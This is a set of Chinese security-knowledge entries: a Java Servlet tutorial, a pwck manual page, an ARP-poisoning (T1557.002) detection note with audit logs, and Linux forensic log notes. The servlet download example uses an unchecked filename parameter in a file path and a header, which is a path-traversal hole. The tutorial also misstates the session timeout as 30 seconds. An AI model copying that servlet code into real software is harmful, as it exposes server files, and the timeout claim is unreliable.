HttpServletResponse 封装了一个 HTTP 响应。由于 HTTP 响应必须先发送 Header,再发送 Body,所以,操作 HttpServletResponse 对象时,必须先调用设置 Header 的方法,最后调用发送 Body 的方法。
常用的设置 Header 的方法有:
* setStatus(sc):设置响应代码,默认是 `200`;
* setContentType(type):设置 Body 的类型,例如,`"text/html"`;
* setCharacterEncoding(charset):设置字符编码,例如,`"UTF-8"`;
* setHeader(name, value):设置一个 Header 的值;
* addCookie(cookie):给响应添加一个 Cookie;
* addHeader(name, value):给响应添加一个 Header,因为 HTTP 协议允许有多个相同的 Header;
写入响应时,需要通过 `getOutputStream()` 获取写入流,或者通过 `getWriter()` 获取字符流,二者只能获取其中一个。
写入响应前,无需设置 `setContentLength()`,因为底层服务器会根据写入的字节数自动设置,如果写入的数据量很小,实际上会先写入缓冲区,如果写入的数据量很大,服务器会自动采用 Chunked 编码让浏览器能识别数据结束符而不需要设置 Content-Length 头。
但是,写入完毕后调用 `flush()` 却是必须的,因为大部分 Web 服务器都基于 HTTP/1.1 协议,会复用 TCP 连接。如果没有调用 `flush()`,将导致缓冲区的内容无法及时发送到客户端。此外,写入完毕后千万不要调用 `close()`,原因同样是因为会复用 TCP 连接,如果关闭写入流,将关闭 TCP 连接,使得 Web 服务器无法复用此 TCP 连接。
> 写入完毕后对输出流调用 `flush()` 而不是 `close()` 方法!
有了 `HttpServletRequest` 和 `HttpServletResponse` 这两个高级接口,我们就不需要直接处理 HTTP 协议。注意到具体的实现类是由各服务器提供的,而我们编写的 Web 应用程序只关心接口方法,并不需要关心具体实现的子类。
---
### ServletContext
ServletContext: 代表整个web应用,可以和程序的容器(服务器)来通信
常用方法:
```java
request.getServletContext(); : 通过request对象获取
this.getServletContext(); : 通过HttpServlet获取
String getMimeType(String file) : 获取MIME对象
域对象:共享数据
1. setAttribute(String name,Object value)
2. getAttribute(String name)
3. removeAttribute(String name)
获取文件的真实(服务器)路径:
String getRealPath(String path)
```
文件下载案例
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>downlaod</title>
</head>
<body>
<a href="/demo/img/1.jpg">图片查看</a>
<a href="downloadServlet?filename=1.jpg">图片下载</a>
</body>
</html>
```
downloadSerlet类
```java
@WebServlet("/downloadServlet")
public class downloadServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String filename = request.getParameter("filename"); //接收filename传参的值
ServletContext servletContext = this.getServletContext(); //创建servletContext 对象
String Path = servletContext.getRealPath("/img/" + filename); //获取文件真实路径
String mimeType = servletContext.getMimeType(filename);//获取mimel类型
FileInputStream fis = new FileInputStream(Path); //路径参数文件输入流对象中
response.setHeader("content-type",mimeType); //响应头设置mime类型
response.setHeader("content-disposition","attachment;filename="+filename); //设置为附件类型
ServletOutputStream outputStream = response.getOutputStream(); //获取文件输出流
byte[] buff = new byte[1024]; //设置每次读取的字节大小
int len =0;
while ((len = fis.read(buff))!=-1){
outputStream.write(buff,0,len);
}
}
}
```
---
## Servlet 多线程模型
一个 Servlet 类在服务器中只有一个实例,但对于每个 HTTP 请求,Web 服务器会使用多线程执行请求。因此,一个 Servlet 的 `doGet()`、`doPost()` 等处理请求的方法是多线程并发执行的。如果 Servlet 中定义了字段,要注意多线程并发访问的问题:
```java
public class HelloServlet extends HttpServlet {
private Map<String, String> map = new ConcurrentHashMap<>();
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 注意读写map字段是多线程并发的:
this.map.put(key, value);
}
}
```
对于每个请求,Web 服务器会创建唯一的 `HttpServletRequest` 和 `HttpServletResponse` `实例,因此,HttpServletRequest` 和 `HttpServletResponse` 实例只有在当前处理线程中有效,它们总是局部变量,不存在多线程共享的问题。
一个 Webapp 中的多个 Servlet 依靠路径映射来处理不同的请求;
映射为 `/` 的 Servlet 可处理所有 “未匹配” 的请求;
如何处理请求取决于 Servlet 覆写的对应方法;
Web 服务器通过多线程处理 HTTP 请求,一个 Servlet 的处理方法可以由多线程并发执行。
---
## 重定向与转发
### Redirect
重定向是指当浏览器请求一个 URL 时,服务器返回一个重定向指令,告诉浏览器地址已经变了,麻烦使用新的 URL 再重新发送新请求。
例如,我们已经编写了一个能处理 `/hello` 的 `HelloServlet`,如果收到的路径为 `/hi`,希望能重定向到 `/hello`,可以再编写一个 `RedirectServlet`:
```java
@WebServlet(urlPatterns = "/hi")
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 构造重定向的路径:
String name = req.getParameter("name");
String redirectToUrl = "/hello" + (name == null ? "" : "?name=" + name);
// 发送重定向响应:
resp.sendRedirect(redirectToUrl);
}
}
```
如果浏览器发送 `GET /hi` 请求,`RedirectServlet` 将处理此请求。由于 `RedirectServlet` 在内部又发送了重定向响应,因此,浏览器会收到如下响应:
```
HTTP/1.1 302 Found
Location: /hello
```
当浏览器收到 302 响应后,它会立刻根据 `Location` 的指示发送一个新的 `GET /hello` 请求,这个过程就是重定向:
```
┌───────┐ GET /hi ┌───────────────┐
│Browser│ ────────────> │RedirectServlet│
│ │ <──────────── │ │
└───────┘ 302 └───────────────┘
┌───────┐ GET /hello ┌───────────────┐
│Browser│ ────────────> │ HelloServlet │
│ │ <──────────── │ │
└───────┘ 200 <html> └───────────────┘
```
观察Chrome浏览器的网络请求,可以看到两次HTTP请求:
并且浏览器的地址栏路径自动更新为 /hello。
重定向有两种:一种是302响应,称为临时重定向,一种是301响应,称为永久重定向。两者的区别是,如果服务器发送301永久重定向响应,浏览器会缓存 /hi 到 /hello 这个重定向的关联,下次请求 /hi 的时候,浏览器就直接发送 /hello 请求了。
重定向有什么作用?重定向的目的是当 Web 应用升级后,如果请求路径发生了变化,可以将原来的路径重定向到新路径,从而避免浏览器请求原路径找不到资源。
HttpServletResponse 提供了快捷的 `redirect()` 方法实现 302 重定向。如果要实现 301 永久重定向,可以这么写:
```java
resp.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301
resp.setHeader("Location", "/hello");
```
### Forward
Forward 是指内部转发。当一个 Servlet 处理请求的时候,它可以决定自己不继续处理,而是转发给另一个 Servlet 处理。
例如,我们已经编写了一个能处理 /hello 的 HelloServlet,继续编写一个能处理 /morning 的 ForwardServlet:
```java
@WebServlet(urlPatterns = "/morning")
public class ForwardServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.getRequestDispatcher("/hello").forward(req, resp);
}
}
```
ForwardServlet 在收到请求后,它并不自己发送响应,而是把请求和响应都转发给路径为 /hello 的 Servlet,即下面的代码:
```java
req.getRequestDispatcher("/hello").forward(req, resp);
```
后续请求的处理实际上是由 HelloServlet 完成的。这种处理方式称为转发(Forward),我们用流程图画出来如下:
```
┌────────────────────────┐
│ ┌───────────────┐ │
│ ────>│ForwardServlet │ │
┌───────┐ GET /morning │ └───────────────┘ │
│Browser│ ──────────────> │ │ │
│ │ <────────────── │ ▼ │
└───────┘ 200 <html> │ ┌───────────────┐ │
│ <────│ HelloServlet │ │
│ └───────────────┘ │
│ Web Server │
└────────────────────────┘
```
转发和重定向的区别在于,转发是在Web服务器内部完成的,对浏览器来说,它只发出了一个HTTP请求:
注意到使用转发的时候,浏览器的地址栏路径仍然是 /morning,浏览器并不知道该请求在 Web 服务器内部实际上做了一次转发。
---
## 使用 Session 和 Cookie
在 Web 应用程序中,我们经常要跟踪用户身份。当一个用户登录成功后,如果他继续访问其他页面,Web 程序如何才能识别出该用户身份?
因为 HTTP 协议是一个无状态协议,即 Web 应用程序无法区分收到的两个 HTTP 请求是否是同一个浏览器发出的。为了跟踪用户状态,服务器可以向浏览器分配一个唯一 ID,并以 Cookie 的形式发送到浏览器,浏览器在后续访问时总是附带此 Cookie,这样,服务器就可以识别用户身份。
Cookie 和 Session 不同的地方是 cookie 是存在于客户端,而 session 是存在于服务器上。
如果客户端关闭后,服务端不关闭,session 需要相同,则可以创建 Cookie, 键为 JSESSIONID,设置最大存活时间,让 cookie 持久化保存。
### Session
服务器端会话技术,在一次会话的多次请求间共享数据,将数据保存在服务器端的对象中。
我们把这种基于唯一 ID 识别用户身份的机制称为 Session。每个用户第一次访问服务器后,会自动获得一个 Session ID。如果用户在一段时间内没有访问服务器,那么 Session 会自动失效,下次即使带着上次分配的 Session ID 访问,服务器也认为这是一个新用户,会分配新的 Session ID。
JavaEE 的 Servlet 机制内建了对 Session 的支持。我们以登录为例,当一个用户登录成功后,我们就可以把这个用户的名字放入一个 `HttpSession` 对象,以便后续访问其他页面的时候,能直接从 `HttpSession` 取出用户名:
```java
@WebServlet(urlPatterns = "/signin")
public class SignInServlet extends HttpServlet {
// 模拟一个数据库:
private Map<String, String> users = Map.of("bob", "bob123", "alice", "alice123", "tom", "tomcat");
// GET请求时显示登录页:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter pw = resp.getWriter();
pw.write("<h1>Sign In</h1>");
pw.write("<form action=\"/signin\" method=\"post\">");
pw.write("<p>Username: <input name=\"username\"></p>");
pw.write("<p>Password: <input name=\"password\" type=\"password\"></p>");
pw.write("<p><button type=\"submit\">Sign In</button> <a href=\"/\">Cancel</a></p>");
pw.write("</form>");
pw.flush();
}
// POST请求时处理用户登录:
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("username");
String password = req.getParameter("password");
String expectedPassword = users.get(name.toLowerCase());
if (expectedPassword != null && expectedPassword.equals(password)) {
// 登录成功:
req.getSession().setAttribute("user", name);
resp.sendRedirect("/");
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
}
}
}
```
上述 `SignInServlet` 在判断用户登录成功后,立刻将用户名放入当前 `HttpSession` 中:
```java
HttpSession session = req.getSession();
session.setAttribute("user", name);
```
在 `IndexServlet` 中,可以从 `HttpSession` 取出用户名:
```java
@WebServlet(urlPatterns = "/")
public class IndexServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 从HttpSession获取当前用户名:
String user = (String) req.getSession().getAttribute("user");
resp.setContentType("text/html");
resp.setCharacterEncoding("UTF-8");
resp.setHeader("X-Powered-By", "JavaEE Servlet");
PrintWriter pw = resp.getWriter();
pw.write("<h1>Welcome, " + (user != null ? user : "Guest") + "</h1>");
if (user == null) {
// 未登录,显示登录链接:
pw.write("<p><a href=\"/signin\">Sign In</a></p>");
} else {
// 已登录,显示登出链接:
pw.write("<p><a href=\"/signout\">Sign Out</a></p>");
}
pw.flush();
}
}
```
如果用户已登录,可以通过访问 `/signout` 登出。登出逻辑就是从 `HttpSession` 中移除用户相关信息:
```java
@WebServlet(urlPatterns = "/signout")
public class SignOutServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 从HttpSession移除用户名:
req.getSession().removeAttribute("user");
resp.sendRedirect("/");
}
}
```
对于 Web 应用程序来说,我们总是通过 `HttpSession` 这个高级接口访问当前 Session。如果要深入理解 Session 原理,可以认为 Web 服务器在内存中自动维护了一个 ID 到 `HttpSession` 的映射表,我们可以用下图表示:
```
┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
│ ┌───────────────┐ │
┌───>│ IndexServlet │<──────────┐
│ │ └───────────────┘ ▼ │
┌───────┐ │ ┌───────────────┐ ┌────────┐
│Browser│──┼─┼───>│ SignInServlet │<────>│Sessions││
└───────┘ │ └───────────────┘ └────────┘
│ │ ┌───────────────┐ ▲ │
└───>│SignOutServlet │<──────────┘
│ └───────────────┘ │
└ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
```
而服务器识别 Session 的关键就是依靠一个名为 `JSESSIONID` 的 Cookie。在 Servlet 中第一次调用 `req.getSession()` 时,Servlet 容器自动创建一个 Session ID,然后通过一个名为 `JSESSIONID` 的 Cookie 发送给浏览器:
这里要注意的几点是:
* `JSESSIONID` 是由 Servlet 容器自动创建的,目的是维护一个浏览器会话,它和我们的登录逻辑没有关系;
* 登录和登出的业务逻辑是我们自己根据 `HttpSession` 是否存在一个 `"user"` 的 Key 判断的,登出后,Session ID 并不会改变;
* 即使没有登录功能,仍然可以使用 `HttpSession` 追踪用户,例如,放入一些用户配置信息等。
除了使用 Cookie 机制可以实现 Session 外,还可以通过隐藏表单、URL 末尾附加 ID 来追踪 Session。这些机制很少使用,最常用的 Session 机制仍然是 Cookie。
使用 Session 时,由于服务器把所有用户的 Session 都存储在内存中,如果遇到内存不足的情况,就需要把部分不活动的 Session 序列化到磁盘上,这会大大降低服务器的运行效率,因此,放入 Session 的对象要小,通常我们放入一个简单的 `User` 对象就足够了:
```java
public class User {
public long id; // 唯一标识
public String email;
public String name;
}
```
在使用多台服务器构成集群时,使用Session会遇到一些额外的问题。通常,多台服务器集群使用反向代理作为网站入口:
```
┌────────────┐
┌───>│Web Server 1│
│ └────────────┘
┌───────┐ ┌─────────────┐ │ ┌────────────┐
│Browser│────>│Reverse Proxy│───┼───>│Web Server 2│
└───────┘ └─────────────┘ │ └────────────┘
│ ┌────────────┐
└───>│Web Server 3│
└────────────┘
```
如果多台 Web Server 采用无状态集群,那么反向代理总是以轮询方式将请求依次转发给每台 Web Server,这会造成一个用户在 Web Server 1 存储的 Session 信息,在 Web Server 2 和 3 上并不存在,即从 Web Server 1 登录后,如果后续请求被转发到 Web Server 2 或 3,那么用户看到的仍然是未登录状态。
要解决这个问题,方案一是在所有 Web Server 之间进行 Session 复制,但这样会严重消耗网络带宽,并且,每个 Web Server 的内存均存储所有用户的 Session,内存使用率很低。
另一个方案是采用粘滞会话(Sticky Session)机制,即反向代理在转发请求的时候,总是根据 JSESSIONID 的值判断,相同的 JSESSIONID 总是转发到固定的 Web Server,但这需要反向代理的支持。
无论采用何种方案,使用 Session 机制,会使得 Web Server 的集群很难扩展,因此,Session 适用于中小型 Web 应用程序。对于大型 Web 应用程序来说,通常需要避免使用 Session 机制。
session是依赖于cookie的。
当服务器关闭后,会将session序列化到硬盘里面,重启的时候seesion文件会转换为内存中的session对象。
session默认的过期时间是30秒,如果需要设置可以到tomcat/conf/web.xml文件里面修改。
```xml
<session-config>
<session-timeout>60</session-timeout>
</session-config>
```
### Cookie
cookie 概念:客户端会话技术,将数据保存到客户端
实际上,Servlet 提供的 `HttpSession` 本质上就是通过一个名为 `JSESSIONID` 的 Cookie 来跟踪用户会话的。除了这个名称外,其他名称的 Cookie 我们可以任意使用。
如果我们想要设置一个 Cookie,例如,记录用户选择的语言,可以编写一个 `LanguageServlet`:
```java
@WebServlet(urlPatterns = "/pref")
public class LanguageServlet extends HttpServlet {
private static final Set<String> LANGUAGES = Set.of("en", "zh");
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String lang = req.getParameter("lang");
if (LANGUAGES.contains(lang)) {
// 创建一个新的Cookie:
Cookie cookie = new Cookie("lang", lang);
// 该Cookie生效的路径范围:
cookie.setPath("/");
// 该Cookie有效期:
cookie.setMaxAge(8640000); // 8640000秒=100天
// 将该Cookie添加到响应:
resp.addCookie(cookie);
}
resp.sendRedirect("/");
}
}
```
更新 IndexServlet
```java
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(urlPatterns = "/")
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String user = (String) req.getSession().getAttribute("user");
String lang = parseLanguageFromCookie(req);
resp.setContentType("text/html");
resp.setCharacterEncoding("UTF-8");
PrintWriter pw = resp.getWriter();
if (lang.equals("zh")) {
pw.write("<h1>你好, " + (user != null ? user : "Guest") + "</h1>");
if (user == null) {
pw.write("<p><a href=\"/signin\">登录</a></p>");
} else {
pw.write("<p><a href=\"/signout\">登出</a></p>");
}
} else {
pw.write("<h1>Welcome, " + (user != null ? user : "Guest") + "</h1>");
if (user == null) {
pw.write("<p><a href=\"/signin\">Sign In</a></p>");
} else {
pw.write("<p><a href=\"/signout\">Sign Out</a></p>");
}
}
pw.write("<p><a href=\"/pref?lang=en\">English</a> | <a href=\"/pref?lang=zh\">中文</a>");
pw.flush();
}
private String parseLanguageFromCookie(HttpServletRequest req) {
Cookie[] cookies = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equals("lang")) {
return cookie.getValue();
}
}
}
return "en";
}
}
```
创建一个新 Cookie 时,除了指定名称和值以外,通常需要设置 `setPath("/")`,浏览器根据此前缀决定是否发送 Cookie。如果一个 Cookie 调用了 `setPath("/user/")`,那么浏览器只有在请求以 / user / 开头的路径时才会附加此 Cookie。通过 `setMaxAge()` 设置 Cookie 的有效期,单位为秒,最后通过 `resp.addCookie()` 把它添加到响应。
如果访问的是 https 网页,还需要调用 `setSecure(true)`,否则浏览器不会发送该 Cookie。
因此,务必注意:浏览器在请求某个 URL 时,是否携带指定的 Cookie,取决于 Cookie 是否满足以下所有要求:
* URL 前缀是设置 Cookie 时的 Path;
* Cookie 在有效期内;
* Cookie 设置了 secure 时必须以 https 访问。
* 我们可以在浏览器看到服务器发送的 Cookie:
我们可以在浏览器看到服务器发送的Cookie:
如果我们要读取 Cookie,例如,在 `IndexServlet` 中,读取名为 `lang` 的 Cookie 以获取用户设置的语言,可以写一个方法如下:
```java
private String parseLanguageFromCookie(HttpServletRequest req) {
// 获取请求附带的所有Cookie:
Cookie[] cookies = req.getCookies();
// 如果获取到Cookie:
if (cookies != null) {
// 循环每个Cookie:
for (Cookie cookie : cookies) {
// 如果Cookie名称为lang:
if (cookie.getName().equals("lang")) {
// 返回Cookie的值:
return cookie.getValue();
}
}
}
// 返回默认值:
return "en";
}
```
可见,读取 Cookie 主要依靠遍历 `HttpServletRequest` 附带的所有 Cookie。
---
## Source & Reference
- [Java学习之servlet篇](https://www.cnblogs.com/nice0e3/p/13515458.html)
- https://wiki.jikexueyuan.com/project/servlet/environment-setup.html
- https://www.cnblogs.com/Dhouse/p/5795338.html
- https://www.liaoxuefeng.com/wiki/1252599548343744/1304265949708322
- https://cloud.tencent.com/developer/article/1604809
- https://www.cnblogs.com/hongdada/p/10123128.html
- https://www.yiibai.com/maven/deploy-maven-based-war-file-to-tomcat.html
- https://www.liaoxuefeng.com/wiki/1252599548343744/1328705066500130
- https://www.cnblogs.com/nice0e3/p/13515458.html
- https://www.cnblogs.com/nice0e3/p/13527094.html
- https://www.cnblogs.com/nice0e3/p/13532864.html
|
sec-knowleage
|
pwck
===
用来验证系统认证文件内容和格式的完整性
## 补充说明
**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。
### 语法
```shell
pwck(选项)(参数)
```
### 选项
```shell
-q:仅报告错误信息;
-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
-r:只读方式运行指令;
-R:在指定的chroot环境下检查密码文件。
```
### 参数
* 密码文件:指定密码文件的路径;
* 影子文件:指定影子文件的路径。
### 实例
```shell
pwck
user 'ftp': directory '/var/ftp' does not exist
pwck: no changes
```
执行`pwck`命令后显示了一些警告,提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题,你有几个选项:
1. 如果你确定这些用户不会被使用,你可以考虑使用`userdel`命令来删除这些用户。
2. 如果这些用户需要被使用,你应该创建相应的目录。例如,你可以使用以下命令:
```shell
# 创建目录
sudo mkdir /var/ftp
# 将目录的所有权赋给相应的用户
sudo chown ftp:ftp /var/ftp
```
3. 如果这些用户对应的软件包还未安装,你可以考虑安装它们。软件包管理器(如`yum`或`apt`)通常会自动创建必要的用户和目录。
|
sec-knowleage
|
# T1557-002-linux-ARP网络嗅探
## 来自ATT&CK的描述
攻击者可能会在地址解析协议(ARP)缓存中下毒,将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为,如网络嗅探或传输数据操纵。
ARP协议用于将IPv4地址解析为链路层地址,如媒体访问控制(MAC)地址。本地网段中的设备通过使用链路层地址相互通信。如果一个联网设备没有特定联网设备的链路层地址,它可以向本地网络发出广播ARP请求,将IP地址翻译成MAC地址。拥有相关IP地址的设备会直接回复其MAC地址。发出ARP请求的联网设备就会使用以及在其ARP缓存中存储该信息。
攻击者可能会被动地等待一个ARP请求,以毒害请求设备的ARP缓存。攻击者可能会用他们的MAC地址进行回复,从而欺骗受害者,让他们相信他们正在与预定的网络设备进行通信。攻击者要毒害ARP缓存,他们的回复必须比合法IP地址所有者的回复快。攻击者也可以发送一个无偿的ARP回复,恶意地向本地网段的所有设备宣布某个IP地址的所有权。
ARP协议是无状态的,不需要认证。因此,设备可能会错误地添加或更新其ARP缓存中的IP地址的MAC地址。
攻击者可能利用ARP缓存中毒作为中间人(MiTM)网络流量的一种手段。这种活动可能被用来收集或转发数据,如证书,特别是那些通过不安全的、未加密的协议发送的数据。
## 测试案例
linux下arp命令执行
ARP -A,查询系统中缓存的ARP表。ARP表用来维护IP地址与MAC地址的一一对应。
## 检测日志
linux audit日志
## 测试复现
暂无
## 测试留痕
```yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
type=CWD msg=audit(1604994496.155:92733): cwd="/home/wardog"
type=PATH msg=audit(1604994496.155:92733): item=0 name="/usr/sbin/arp" inode=13181 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92733): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92733): proctitle=617270002D61
type=SYSCALL msg=audit(1604994496.155:92734): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25163720 a2=558e25160800 a3=558e2500a010 items=2 ppid=29002 pid=1632 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="grep" exe="/bin/grep" key=(null)
type=EXECVE msg=audit(1604994496.155:92734): argc=3 a0="grep" a1="-v" a2="^?"
type=CWD msg=audit(1604994496.155:92734): cwd="/home/wardog"
type=PATH msg=audit(1604994496.155:92734): item=0 name="/bin/grep" inode=61 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92734): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92734): proctitle=67726570002D76005E3F
```
## 检测规则/思路
检测audit日志中arp命令的使用情况。
```yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
```
### 建议
监测网络流量,看是否有不寻常的ARP流量,无偿的ARP回复可能是可疑的。
考虑收集各端点ARP缓存的变化,以发现ARP中毒的迹象。例如,如果多个IP地址映射到一个MAC地址,这可能是ARP缓存被投毒的一个指标。
## 参考推荐
MITRE-ATT&CK-T1557-002
<https://attack.mitre.org/techniques/T1557/002>
测试留痕数据来源
<https://github.com/OTRF/Security-Datasets/tree/master/datasets/small/linux>
|
sec-knowleage
|
原文 by http://thief.one/
最近遇到了很多服务器被入侵的例子,为了方便日后入侵检测以及排查取证,我查询了一些linux服务器入侵取证的相关资料,并在此总结分享,以便日后查询。
一般服务器被入侵的迹象,包括但不局限于:由内向外发送大量数据包(DDOS肉鸡)、服务器资源被耗尽(挖矿程序)、不正常的端口连接(反向shell等)、服务器日志被恶意删除等。那么既然是入侵检测,首先要判断的是服务器是否被入侵,必须排除是管理员操作不当导致的问题,因此入侵检测的第一项工作就是询问管理员服务器的异常现象,这对之后入侵类型的判断非常重要。
在询问了相关异常信息,排除了管理员操作失误等原因后,那么便可以开始正式的上服务器进行入侵检测以及取证操作了。
## 审计命令
### Linux 日志系统
日志对于安全来说,非常重要,他记录了系统每天发生的各种各样的事情,你可以通过它来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志主要的功能有:审计和监测。他还可以实时的监测系统状态,监测和追踪侵入者等等。
在Linux系统中,有三个主要的日志子系统:
连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和 utmp文件,使系统管理员能够跟踪谁在何时登录到系统。进程统计--由系统内核执行,当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录,进程统计的目的是为系统中的基本服务提供命令使用统计。
错误日志--由syslogd(8)执行。各种系统守护进程、用户程序和内核通过syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。 常用的日志文件如下:
access-log 记录HTTP/web的传输 (sed -s 's/211.xxx.xxx.xxx/192.168.1.1/g' access_log access.log security)
acct/pacct 纪录用户命令
aculog 纪录MODEM的活动
btmp 纪录失败的纪录
lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录
messages 从syslog中记录信息(有的链接到syslog文件)
sudolog 纪录使用sudo发出的命令
sulog 纪录使用su命令的使用
syslog 从syslog中记录信息(通常链接到messages文件)
utmp 纪录当前登录的每个用户
wtmp 一个用户每次登录进入和退出时间的永久纪录
xferlog 纪录FTP会话
utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件utmp中;登录进入和退出纪录在文件wtmp中;最后一次登录文件可以用lastlog命令察看。数据交换、关机和重起也记录在wtmp文件中,所有的纪录都包含时间戳。这些文件(lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如wtmp文件可以无限增长,除非定期截取,许多系统以一天或者一周为单位把wtmp配置成循环使用。它通常由cron运行的脚本来修改,这些脚本重新命名并循环使用wtmp文件。通常,wtmp在第一天结束后命名为wtmp.1;第二天后wtmp.1变为wtmp.2等等,直到wtmp.7。
每次有一个用户登录时,login程序在文件lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后login程序在lastlog中纪录新的登录时间。在新的lastlog纪录写入后,utmp文件打开并插入用户的utmp纪录,该纪录一直用到用户登录退出时删除。utmp文件被各种命令文件使用,包括who、w、users和finger。
下一步,login程序打开文件wtmp附加用户的utmp纪录。当用户登录退出时,具有更新时间戳的同一utmp纪录附加到文件中,wtmp文件被程序last和ac使用。
### auditd
Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息。
auditd(或auditd守护进程)是Linux系统中重要的内核审计组件,其负责将审计记录写入磁盘。使用auditd可以实现如下场景的审计监控:
* 监控文件访问
* 监控系统调用
* 记录用户命令执行
* 记录安全事件
* 执行审计搜索
* 统计概要报表
* 监控网络访问
通常我们使用auditctl用来查看和控制auditd的审计行为,获取审计日志,添加或删除审计规则。如果你希望审计配置在系统重启后仍然有效,请通过系统文件/etc/audit/audit.rules进行持久化配置。
### last
这个命令可用于查看我们系统的成功登录、关机、重启等情况,本质就是将/var/log/wtmp文件格式化输出,因此如果该文件被删除,则无法输出结果。
相关参数:
last -10(-n) 查看最近10条记录
last -x reboot 查看重启的记录
last -x shutdown 查看关机的记录
last -d 查看登陆的记录
last –help 命令帮助信息
### lastb
这个命令用于查看登录失败的情况,本质就是将/var/log/btmp文件格式化输出。
相关参数:
lastb name(root) 查看root用户登陆失败记录
lastb -10(-n) 查看最近10条登陆失败记录
lastb –heplp 命令帮助信息
### lastlog
这个命令用于查看用户上一次的登录情况,本质就是将/var/log/lastlog文件格式化输出。
相关参数:
lastlog 所有用户上一次登陆记录
lastlog -u username(root) root用户上一次登陆记录
lastlog –help 命令帮助信息
### who
这个命令用户查看当前登录系统的情况,本质就是将/var/log/utmp文件格式化输出。主要用来查看当前用户名称,以及登陆的ip地址信息,w命令与who一样,会更详细一些。
### history
查看历史命令记录,其实就是查看~/.bash_history文件内容,删除这个文件,记录就没了。
